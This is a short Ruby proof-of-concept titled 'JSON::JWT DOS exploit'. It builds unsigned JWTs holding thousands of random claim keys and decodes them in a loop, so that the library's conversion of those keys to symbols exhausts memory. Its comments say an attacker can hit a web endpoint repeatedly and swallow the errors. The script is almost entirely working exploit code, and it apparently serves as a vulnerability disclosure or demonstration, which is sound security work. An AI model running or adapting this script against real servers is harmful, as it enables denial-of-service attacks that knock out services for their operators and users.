JSON::JWT DOS exploit

dos.rb

p GC.stat # note heap_used, heap_length, and particularly heap_live_num

random = Random.new
key    = random.bytes(256 / 8)

10_000.times do
  # construct a hash with 10_000 garbage keys; they can be strings here and the
  # JWT decoder will happily convert them to symbols regardless
  claims = 10_000.times.each_with_object({}) do |_, h|
    h[ random.bytes(16) ] = 1
  end
  
  # convert it to a JWT; they don't even have to be signed, because the decoder
  # converts string keys to symbols before even validating the JWT
  jwt = JSON::JWT.new(claims)

  # we swallow errors because, in practice, an attacker can just repeatedly hit 
  # your webserver endpoint and ignore the fact that you've failed to decode the
  # JWT
  JSON::JWT.decode(jwt.to_s, key) rescue nil
end

# let the above run as long as you feel like

GC.start

p GC.stat # note heap_used, heap_length, and particularly heap_live_num